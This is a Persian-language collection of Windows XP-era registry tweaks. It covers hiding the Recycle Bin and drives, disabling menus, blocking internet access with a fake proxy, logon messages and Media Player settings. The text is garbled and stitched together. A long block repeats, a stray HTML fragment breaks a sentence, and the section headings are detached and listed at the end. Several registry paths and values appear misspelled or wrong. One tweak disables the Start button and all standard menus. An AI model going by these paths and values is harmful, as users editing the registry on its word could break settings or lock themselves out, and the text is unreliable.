اگر بخواهید یک میز گار تر و تمیز داشته باشید شاید بهتر باشد سطل آشغال را از آن بردارید از آن جا که این کار مستلزم پاک کردن یک کلید در رجیستری میباشد توسیه میکنم قبل از این کار یک نسخه پشتیبان از این کلید بگیرید . خوب حالا به سراغ کلید زیر بروید :
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\current version\ Explorer\Desktop\Namespace
اکنون کلیدی که در قاب سمت چپ با این برچسب مشخص شده است حذف کنید :
{645ff040-5081-101b-9f08-00aa002f954e}
این کار باعث از بین رفتن کلی سلط زباله نمیشود اما جلوی دسترسی کاربران به آن را میگیرد
وقتی که برنامه ای از کار میفتد ویندوز یک مقدار زمان مشخصی به آن فرصت میدهد تا سعی کند خود را از مخمصه نجات دهد اما اگر فکر میکنید این مهلت زمانی زیاد است میتوانید آن را کم کنید برای این ممنظور به کلید زیر بروید :
HKEY_CURRENT_USER\Control panel\Desktop
سپس متغیر Hung app Timeout را پیدا کنید مقدار این متغیر 500 است مقدار را طوری کم کنید که یک مهلت عادلانه نیز به برنامه مریض الاحوال داده شده باشد
به سراغ کلید زیر بروید :
HKEY_USER_DEFAULT\Software\Microsoft\Current version\Theme manager
اکنون متغیر color Name را پیدا کرده و سپس روی آن کلیک راست کرده و Modify را انتخاب کنید و مقدار حوزه ی value data را به Metallic تغییر دهید شستی ok را فشار دهید و از رجیستری خارج شوید کامپیوتر را از نو بوت کنید تا تغییرات را مشاهده نمایید
به کلید زیر بروید :
HKEY_CURRENT_USER\Control panel\Desktop
متغیر lameButtonEnabled را از سمت راست پیدا کنید و سپس روی آن راست کلیک کرده و گزینه modify را انتخاب کرده مقدار آن را به 0 تغییر دهید و سپس کامپیوتر را از نو بوت کنید
نصب کردن برنامه های زیاد در کامپیوترتان میتواند رجیستری شما را با برنامه های غیر ضروری که در هنگام بالا آمدن کامپیوتر به اجرا در می آیند به هم بریزدو این باعث کندی کامپیوتر و اشفال بخشی از حافظه سیستم میشود برای از کار انداختن برنامه های غیر ضروری وارد رجیستری شوید و به سراغ این کلید بروید :
HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Runonce
در اینجا میتوانید برنامه های غیر ضروری را حذف کنید کامپیوتر سپس کامپیوتر را از نو بوت کنید تا تغییرات را ملاحظه کنید
یک ویژگی جدید در ویندوز ایکس پی این است تمام فایلهای بوت را در کنار یکدیگر قرار میدهد و باعث یک بوت سریع تر میشود .
به صورت مادرزاد این گزینه فعال است اما در بعضی از نسخه های ویندوز این طور نیست برای به کار انداختن آن به رجیستری رفته و به کلید زیر بروید :
HKEY_LOCAL_MACHINE\Software\/Microsoft\Dfrag
متغیر BootOptimizeFunction را پیدا کرده و روی آن کلیک راست کرده و سپس از منوی آن گزینه modify را برگزینید و سپس مقدار آن را به Y تغییر دهید تا فعال شود
اگر بخواهید در هنگام بوت شدن ویندوز ایکس پی یک پیغام خوش آمد گویی یا هر پیغام دیگری که لازم باشد به اطلاع کاربران برسد به نمایش در آید به این ترتیب عمل کنید :
به کلید زیر بروید :
HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\Current Version\Winlogon
کلید legalnoticecaption را با هر اسم دیکری که میخواهید روی پنجره پیغامتان باشد عوض کنید . کلید Legalnoticetext را به هر پیغامی که میخواهید دردل پنجره ی پیغام به نمایش درآید تغییر دهید کامپیوترتان را از نو بوت کنید تا تغییرات را ملاحظه نمایید
این کار احتیاجی به رجیستری ندارد و یک راه ساده تر وجود دارد :
شستی start را کلیک کنید و گزینه run را انتخاب کنید و فرمان gpedit.msc را وارد کنید اکنون به computer configuration رفته و administrator templates را کلیک کنید و زبانه ی system را باز کنید در اینجا میتوانید گزینه ی مربوط به turn auto off را پیدا کرده و آن را مطابق میل خود تغییر دهید
بعضی ها دوست ندارند کامپیوترشان بازیچه ی دست این و اون بشه بخاطر همین ترجیح میدهند که my computer را از روی میز تحریر یا منوی start بردارند روش کار طبق معمول از طریق انگولک کردن رجیستری میباشد .
ابتدا به رجیستری بروید و کلید زیر را پیدا کنید :
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version \ Policies\Nonennum
اکنون یک متغیر از نوع DWORD بسازید و نام آن را به صورت زیر بنویسید :
{20D04FE0-3AEA-1069-A2D8-08002B30309D}
اگر به این متغیر مقدار 0 بدهید MY COMPUTER را محو خواهید کرد و اگر به آن مقدار 1 بدهید دوباره به جای خود باز میگردد . یک بار کامپیوتر خود را از نو راه اندازی کنید تا تغییرات را ملاحظه کنید
وارد رجیستری شوید و کلید زیر را پیدا کنید :
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current version\Policies\Explorer
یک متغیر جدید از نوع DWORD بسازید و اسم آن را NoViewContextMenu را به آن بدهید با دادن مقدار صفر به این متغیر منوی مزبور را از کار میندازید و با دادن مقدار 1 به آن دوباره آن را به کار می اندازید . از رجیستری خارج شوید و ویندوز خود را از نو بوت کنید
رجیستری را باز کرده و کلید زیر را پیدا کنید :
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Currentversion\Policies\Explorer
یک متغیر جدید از نوع DWORD بسازید و به آن نام NofileMenu بدهید اگر به این متغیر مقدار صفر بدهید حذف و اگر مقدار 1 بدهید به جای خود باز میگردد حال ویندوز را از نو بوت کنید
وارد رجیستری شوید و کلید زیر را بیابید :
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
یک متغیر جدید از نوع DWORD بسازید و اسم آن را NoDesktop بگذارید اگر به این متغیر مقدار 1 بدهید کلیه فقرات حذف و با دادن مقدار 0 به حالت خود باز میگردد
اعمال این تغییرات نیاز به راه اندازی مجدد ویندوز دارد
به کلید زیر بروید :
HKEY_CLASSES_ROOT\CLISID\
سپس کلید زیر را پیدا کنید :
{5b4dae26-b807-11d0-9815-00c04fd91972}
تنهاکاری که شما باید انجام بدهید تغییر دادن نام این کلید است که میتوانید با قرار دادن یک خط تیره قبل این نام این کار را انجام دهید که این کلید به شکل زیر در می آید :
{-5b4dae26-b807-11d0-9815-00c04fd91972}
با این کار تمام منوهای برنامه های متعارف ویندوز و همچنین شستی start از کار می اندازد
گزینه های Active Desktop تقریبا به هیچ دردی نمیخورد پس بهتر آن را پاک کنید تا محیط کارتان خلوت شود کلید زیر را در رجیستری پیدا کنید :
HKEY_LOCAL_MACHINE_Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
اکنون یک متغیر جدید از نوع DWORD بسازید و نام آن را NoSetActiveDesktop بذارید
اگر مقدار یک به آن بدهید تمام منوهای آن از بین میروند و اگر مقدار 0 بدهید دوباره ظاهر خواهند شد
با انجام این کار میتوانید جلوی دسترسی به اینترنت را در تمام محصولات میکروسافت مثل مرورگر اینترنت و و افیس را بگیرید برای این کار وارد رجیستری شوید و کلید زیر را پیدا کنید :
HKEY_Current_user\Software\Microsoft\Windows\Current Version\Internet Setting
اکنون در قاب سمت راست متغیرهایی را میبینید که با بعضی از آنها باید دست و پنجه نرم کنید به یکی از این متغیر ها به نام Proxi Enable مقدار 1 بدهید و مقدار متغیر proxi server را تغییر داده و به آن یک نشانی آی پی و یک درگاه جعلی که در کامپیوترتان وجود ندارد بدهید مانند :10.0.0.1:5555 ( چهار عدد سمت چپ نشانی آی پی و چهار رقم سمت راست شماره ی درگاه را به صورت Ip:Port تشکیل میدهند
معمولا وقتی که فایل یل سندی را باز میکنید نام ان به فهرست اسناد اخیر در منوی start اضافه میشود این ترفند جلوی این کار را میگیرد :
کلید زیر را پیدا کنید :
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
یک متغیر جدید از جنس DWORD و به نام NoRecentDocsHistory بسازید و مقدار یک به آن بدهید تا محدودیت مزبور اعمال گردد حال کامپیوترتان را از نو بوت کنید
هر وقت ماوس را روی سه مربع کنترلی که در گوشه ی سمت راست فوقانی هر پنجره ی ویندوز وجود دارد حرکت کنید شرح مختصری در مورد هر کدام از آنها میبینید که این ترفند این توضیحات را از بین میبرد :
کلید زیر را پیدا کنید :
HKEY_CURRENT_USER\Control Panel \ Desktop
اکنون یک متغیر جدید از نوع حروفی یا string بسازید و اسم آن را MinMaxClose بگذارید حال اگر مقدار 0 به آن بدهید توضیحات اضافی از کار می افتد و اگر مقدار 1 به آن بدهید مجددا این امکان برقرار میشود سیستمتان را از نو بوت کنید
این ترفند به شما این امکان را میدهد که بعضی از درایوها را مخفی کنید یا حتی میتوانید تمام درایوها را مخفی کنید برای این کار وارد رجیستری شوید و این کلید را در آن پیدا کنید :
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version \ Policies\Explorer
متغیر به نام NoDrives را از نوع dword بسازید گردونه ها وقتی مقدارشان صفر باشد قابل دیدن هستند و اگر مقدارشان 1 باشد مخفی میشوند برای هر گردونه میتوانید به صورت زیر استفاده کنید :
A : 1
B : 2
C : 4
D : 8
E : 16
F : 32
G : 64
H : 128
I : 256
J : 512
K : 1024
والی آخر ....
برای مثال اگر بخواهید گردونه c و گردوlign: justify"> برداشتن گزینه های Active Desktop از منوی setting :
گزینه های Active Desktop تقریبا به هیچ دردی نمیخورد پس بهتر آن را پاک کنید تا محیط کارتان خلوت شود کلید زیر را در رجیستری پیدا کنید : HKEY_LOCAL_MACHINE_Software\Microsoft\Windows\CurrentVersion\Policies\Explorer اکنون یک متغیر جدید از نوع DWORD بسازید و نام آن را NoSetActiveDesktop بذارید اگر مقدار یک به آن بدهید تمام منوهای آن از بین میروند و اگر مقدار 0 بدهید دوباره ظاهر خواهند شد . با انجام این کار میتوانید جلوی دسترسی به اینترنت را در تمام محصولات میکروسافت مثل مرورگر اینترنت و و افیس را بگیرید برای این کار وارد رجیستری شوید و کلید زیر را پیدا کنید : HKEY_Current_user\Software\Microsoft\Windows\Current Version\Internet Setting اکنون در قاب سمت راست متغیرهایی را میبینید که با بعضی از آنها باید دست و پنجه نرم کنید به یکی از این متغیر ها به نام Proxi Enable مقدار 1 بدهید و مقدار متغیر proxi server را تغییر داده و به آن یک نشانی آی پی و یک درگاه جعلی که در کامپیوترتان وجود ندارد بدهید مانند :10.0.0.1:5555 ( چهار عدد سمت چپ نشانی آی پی و چهار رقم سمت راست شماره ی درگاه را به صورت Ip:Port تشکیل میدهند معمولا وقتی که فایل یل سندی را باز میکنید نام ان به فهرست اسناد اخیر در منوی start اضافه میشود این ترفند جلوی این کار را میگیرد : کلید زیر را پیدا کنید : HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer یک متغیر جدید از جنس DWORD و به نام NoRecentDocsHistory بسازید و مقدار یک به آن بدهید تا محدودیت مزبور اعمال گردد حال کامپیوترتان را از نو بوت کنید هر وقت ماوس را روی سه مربع کنترلی که در گوشه ی سمت راست فوقانی هر پنجره ی ویندوز وجود دارد حرکت کنید شرح مختصری در مورد هر کدام از آنها میبینید که این ترفند این توضیحات را از بین میبرد : کلید زیر را پیدا کنید : HKEY_CURRENT_USER\Control Panel \ Desktop اکنون یک متغیر جدید از نوع حروفی یا string بسازید و اسم آن را MinMaxClose بگذارید حال اگر مقدار 0 به آن بدهید توضیحات اضافی از کار می افتد و اگر مقدار 1 به آن بدهید مجددا این امکان برقرار میشود سیستمتان را از نو بوت کنید این ترفند به شما این امکان را میدهد که بعضی از درایوها را مخفی کنید یا حتی میتوانید تمام درایوها را مخفی کنید برای این کار وارد رجیستری شوید و این کلید را در آن پیدا کنید : HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version \ Policies\Explorer متغیر به نام NoDrives را از نوع dword بسازید گردونه ها وقتی مقدارشان صفر باشد قابل دیدن هستند و اگر مقدارشان 1 باشد مخفی میشوند برای هر گردونه میتوانید به صورت زیر استفاده کنید : A : 1 B : 2 C : 4 D : 8 E : 16 F : 32 G : 64 H : 128 I : 256 J : 512 K : 1024 والی آخر .... برای مثال اگر بخواهید گردونه c و گردونه D را مخفی کنید میبایست دو مقدار 4 برای درایو C و 8 برای D را با هم جمع کنید و مقدار 12 را بدست آورید این همان عددی است که باید به متغیر NoDrive بدهید اما برای مخفی کردن تمام درایوها باید مقدار 67108863 را به متغیر NoDrive بدهید . برای این که تغییرات را ملاحظه کنید باید سیستم خود را از نو بوت کنید این ترفند فقط در ویندوزهای 2000 و xp جواب میده و کار میکنه و کارش اینه که مانع دسترسی کاربران به درایوها از طریق mycomputer یا Explorer میشه به علاوه به اجرا در آوردن فرمان Run یا dir نیز نمیتواند موجب نمایش شاخه های این گردونه شود وارد رجیستری شوید و کلید زیر را پیدا کنید : HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version \ Policies\Explorer اکنون متغیری به نام NoViewDrive را از جنس DWORD بسازید وظیفه ی این متغیر دادن اجازه ی دسترسی به هر یک از گردونه های مجازی کامپیوترتان است . درایوها وقتی مرئی هستند که مقدار صفر را به آن بدهید و هنگامی نامرئی میشوند که به آن مقدار 1 را بدهید . مثل ترند قبل از جدول زیر استفاده کنید : A : 1 B : 2 C : 4 D : 8 E : 16 F : 32 G : 64 H : 128 I : 256 J : 512 K : 1024 به عنوان مثال اگر بخواهید درایو C و D را مخفی کنید باید عدد 4 و 8 را با هم جمع کنید و مقدار آن را به متغیر بدهید . اگر بخواهید تمام متغیر ها را مخفی کنید مقدار 67108863 را به این متغیر بدهید رجیستری را باز کنید و کلید زیر را پیدا کنید : HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version \Explorer\DriveIcons اکنون یک کلید فرعی آن هم فقط با یک حرف که متناظر با درایو مورد نظرتان باشد بسازید برای مثال D در داخل این کلید فرعی یک کلید فرعی دیگر به نام DefaultIcon بسازید ( توجه داشته باشید که نام درایوی که میسازید باید به صورت زیر شاخه باشد یعنی شما درواقع باید یه فولدر بسازید نه یک متغیر !!! پس خوب دقت کنید این فایل به صورت زیر باید ساخته شود و نشان داده شود : HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version \Explorer\DriveIcons\D و مقدار پیش فرض آن یعنی Default را مطابق با نام و خط سیر کامل فایل آیکون مورد نظر را تعیین کنید . باز هم از داخل کلید فرعی حرف درایو ، یک کلید فرعی دیگر به نام defaultlabel ( یادتون باشه کلید نه متغیر ) و مقدار پیش فرض آن یعنی default را مطابق با نام درایو مورد نظرتان تعیین نمایید مانند : My Zip Drive حال سیستم خود را از نو بوت کنید ابتدا وارد رجیستری شوید و کلید زیر را پیدا کنید : HKEY_CURRENT_USER\Software\Microsoft\MediaPlayer\Player و جهت حذف لیست فایلهای پخش شده " زیر کلید " زیر را یافته محتویات آن را حذف کنید : …\RecentFileList و جهت حذف URL های پخش شده " زیر کلید " زیر را یافته محتویات آن را حذف نمایید : این امکان باعث میشود در MediaPlayer ، DVD نمایش داده شود ، ابتدا کلید زیر را پیدا کنید : HKEY_CURRENT_USER\Software\Microsoft\MediaPlayer\Player\Settings یک متغیر جداد از نوع string با نام EnableDVDUI ایجاد کنید و مقدار آن را جهت فعال شده yes قرار دهید . کلید زیر را پیدا کنید : HKEY_CURRENT_USER\Software\Policies\Microsoft\WindowsMediaPlayer ( در صورتی که کلید windosmediaplayer وجود نداشت آن را بسازید ) در پنل سمت جپ روی کلید Microsoft کلیک راست کنید و گزینه key را انتخاب نمایید تا یک کلید جدید ساخته شود نام آنرا به WindowsMediaPlayer تغییر دهید و در پنل سمت راست موارد زیر را انجام دهید : یک مقدار جدید از نوع String به نام Title Bar ایجاد کرده و عنوان مورد نظر خود را در آن قرار دهید کلید زیر را پیدا کنید : HKEY_LOCAL_MACHIN > Software > Microsoft > Player > extensions به Description برويد و با Right-Click کردن در ناحيه قاب سمت راست يک String value جديد به نام 8 درست کنيد(اگر آخرين کليد موجود 7 ميباشد). به Types برويد و دوباره مانند مرحله قبل يک String Value جديد ايجاد کنيد و مقدار آن را اين بار فقط برابر dat.* قرار دهيد. بسته به نسخه ای از Media Player که استفاده ميکنيد ممکن است يک پوشه به نام MUIDescription هم موجود باشد. اگر چنين بود يک String value مانند مراحل قبل ايجاد کنيد و Value Data آن را برابر با Video CD قرار دهيد. اگر علاقمند هستید که آیکونهای ویندوز را با کمی کیفیت بالاتر و جزئیات بیشتری ملاحطه نمائید از این روش استفاده کنید در نتیجه ویندوز آیکونها را با تمام کیفیت خود نشان میدهد : ابتدا برنامه regedit را اجرا کنید (run >>> regedit ) کلید زیر را بیابید : HKEY _CURRENT_USER\CONTROL Panel \ Desktop\WindowsMetrics سپس یک مقدار جدید از نوع STRING با نام SHELL ICON BPP بسازید (در صورتیکه وجود نداشت) و مقدار آن را برابر توان کارت گرافیکی خود قرار دهید طبق مقدارهای زیر : 256 = 256 COLOR BIT 16=16 BIT COLOR 24 = 24 BIT COLOR 32 = 32 BIT COLOR برای مشاهده مخصوص تغییرات ابتدا مقدار آن را 256 قرار داده و سیستم را RESTART کنید و دوباره مقدار آن را اینبار به 32 تغییر دهید و سیستم را RESTART کنید تا تفاوت آن را احساس کنید . -برنامه REGEDIT را باز کنید . -کلید زیر را پیدا کنید : HKEY_CURENT_USER\CONTROL PANEL\KEYBOARD یک متغیر از نوع STRING با عنوان INITIALKEYBOARDLNDICATOR ایجاد کرده و مقدار آن را 2 قرار دهید . کلید زیر را پیدا کنید : HKEY_CLASSES_ROOT\AudioCD\Shell\Play\Command یک متغیر به نام default در اینجا موجود است که معمولا توسط خود ویندوز به Media Player ست شده است حال اگر قصد تغییر آنرا دارید به صورت زیر عمل کنید : تنظیم برای Winamp : "C:\Program File\Winamp3\Winamp3.exe" /CD:%1 یا اگر از برنامه دیگری استفاده میکنید آدرس آنرا وارد کنید . حال جهت فعال شدن سیستم را reset کنید . کلید زیر را پیدا کنید : HKEY_LOCAL_MACHINE\CurrentControlSet\Services\CDRom یک متغیر از نوع DWORD و با نام AUTORUN ایجاد کنید و برای اینکه AUTORUN سی دی ها را از کار بندازید به آن مقدار صفر و برای فعال کردن آن مقدار یک همان طور که میدانید تصاویر زمینه ویندوز قبل از نمایش در شاخه اصلی ویندوز قرار میگیرند در صورتی که بخواهید مسیری دلخواه را برای گرد آوری و نمایش تصاویر زمینه اختیار نمایید ابتدا کلید زیر را پیدا کنید : HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\currentVersion یک متغیر از نوع Expandable String Value ایجاد کنید و نام آن را مسیر دلخواه خود که تصاویر در آن وجود دارند قرار دهید و مقدار آنرا %SystemRoot%\Web\Wallpaper قرار دهید ( توجه : ممکن ااست در بعضی از نگارش های ویندوز این متغیر وجود داشته باشد با نام WallpaperDir اگر چنین متغیری را پیدا کردید نام آنرا به آدرس یا مسیر مورد نظر خود تغییر دهید ) به کلید زیر بروید : HKEY_CURRENT_USER\Control Panel \ International حال یک متغیر از نوع String ایجاد کرده و نام آنرا S1159 ( در صورتی که از قبل ایجاد نشده باشد ) قرار دهید و متن دلخواه خود را در آن وارد نمایید . حال متغیر دیگری از نوع STRING بسازید و نام آنرا S2359 قرار دهید و متن دلخواه دیگری در آن قرار دهید . توجه داشته باشید که در ویندوزهای عربی یا فارسی میتوان متن را به فارسی نوشت هنگامی که الگوی رنگ ویندوز را از طریق Propertice ویندوز تغییر میدهید مشاهده میشود که برخی از رنگ ها ثابت بوده و قابل تغییر نیستند برای برطرف کردن این موضوع به کلید زیر بروید : HKEY_USERS\Default\Control Panel \ Colors در این جا کلید عناصر تصویر قابل دسترس میباشند که شما میتوانید آنها را تغییر دهید رنگها به صورت کد رنگ میباشند که با دادن شماره های 1 تا 255 میتوانید رنگها را مشاهده کنید به کلید زیر بروید : HKEY_LOCAL_MACHINE\Software\Microsoft\Windows \ CurrentVersion\Explorer\Tips خوب شما میتوانید در این قسمت 48 نکته در ویندوز 98 و 95 و 50 نکته در XP و NT قرار دهید که در هنگام بالا آمدن ویندوز برای شما نمایش دهد شما میتوانید متغیرهایی از نوع STRING VALUE بسازید و به آن نامی از 0 تا 50 بدهید و نکات خود را در آن قرار دهید تا با هر بار بالا آمدن ویندوز به نمایش درآید این نکته بسیار بسیار جالبی است که خیلی کارا میشه باهاش کرد مانند نکاتی که میخواهیم کاربران ویندوز آنها را رعایت کنند و ....
جلوی دسترسی به اینترنت را بگیرید :
از کار انداختن سوابق اسناد اخیر :
توضیحات سه مربع حداقل و حداکثر و بستن را از بین ببرید :
مخفی کردن درایوها از My Computer :
جلوی دسترسی به محتویات درایو مورد نظرتان را بگیرید :
تغییر دادن نام و شکلک درایوها :
حذف آخرین PlayList از media Player :
فعال کردن ویژگیهای مربوط به DVD در MediaPlayer :
تغییر دادن عنوان پنجره MediaPlayer :
نشان دادن فایلهای با پسوند *.dat :
بر روی مقدار جديد ساخته شده دوبار کليک کنيد و Value data را برابرVideo CD (*.dat) قرار دهید.
Registry Editor را ببنديد و Media Player را باز کنيد و از منوی File گزينه Open را انتخاب کنيد.
برای اطمينان از اعمال موفقيت آميز تغييرات Files of type را باز کنيد تا مطمئن شويد Video CD در آن ليست شده است.
نمایش آیکونهای ویندوز به صورت high color (بالاترین کیفیت ) :
فعال کردن کلید NUMLOCK هنگام بوت شدن ویندوز :
تعیین برنامه جهت اجرای سی دی های صوتی قرار داده شده در CDROM
:
کنترل کردن AUTORUN :
-تغییر مسیر تصاویر زمینه (walpaper ) :
افزودن متن به ساعت سیستم :
تغییر رنگ های ویندوز :
تنظیم پنجره خوش آمدگویی ویندوز :
رجیستری پایگاه داده ای است با پیکر درختی که در آن اطلاعات مربوط به کامپیوتر ، کاربران ، ابزار جانبی متصل به کامپیوتر و نوع سیستم عامل آن.
برای وارد شدن به رجیستری باید ابتدا به منوی Start رفته و سپس گزینه ی Run را انتخاب کنید و در کادر مربوط به آن عبارت RegEdit را تایپ کنید و گلید enter را فشار دهید .
در رجیستری واژه هایی وجود دارد که شما باید آنها را بدانید :
1- کلید :
شاخه هایی که در سمت چپ پنجره ظاهر شده اند را کلید میگویند که یک کلید میتواند حاوی چند زیر شاخه باشد به عنوان مثال زیر کلید Software یکی از زیر کلید های کلید Hkey_Current_user میباشد .
به رشته ای از اطلاعات که در ناحیه سمت راست پنجره قرار میگیرد و محتویات کلید جاری را مشخص میکند داده یا متغیر میگویند یک داده از سه قسمت تشکیل میشوند : نام ، نوع داده یا متغیر و خود داده.